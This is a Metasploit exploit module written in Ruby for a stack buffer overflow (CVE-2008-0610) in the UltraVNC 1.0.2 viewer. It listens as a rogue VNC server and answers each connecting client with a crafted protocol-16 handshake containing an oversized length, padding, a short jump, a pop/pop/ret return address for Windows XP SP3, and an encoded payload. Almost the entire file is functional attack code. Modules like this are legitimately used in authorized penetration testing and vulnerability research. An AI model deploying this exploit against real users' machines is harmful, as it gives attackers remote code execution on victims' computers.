## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release. If a malicious server responds to a client connection indicating a minor protocol version of 14 or 16, a 32-bit integer is subsequently read from the TCP stream by the client and directly provided as the trusted size for further reading from the TCP stream into a 1024-byte character array on the stack. }, 'Author' => 'noperand', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2008-0610' ], [ 'OSVDB', '42840' ], [ 'BID', '27561' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2 ], 'Privileged' => false, 'DisclosureDate' => 'Feb 6 2008', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) sploit = rand_text_alpha(1100) # junk, could be more efficient here sploit << "\x00\x04\x00\x00" # value to get around a write sploit << rand_text_alpha(12) # random junk sploit << "\xEB\x06" << make_nops(2) # short relative jump sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe) sploit << payload.encoded =begin We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016"). - These bytes are read directly by a call to ReadExact() with a size of 12. ... if (m_minorVersion == 14 || m_minorVersion == 16) { int size; ReadExact((char *)&size,sizeof(int)); char mytext[1024]; //10k ReadExact(mytext,size); mytext[size]=0; ... If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read. We then append our data. =end sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(sploit) handler(client) service.close_client(client) end end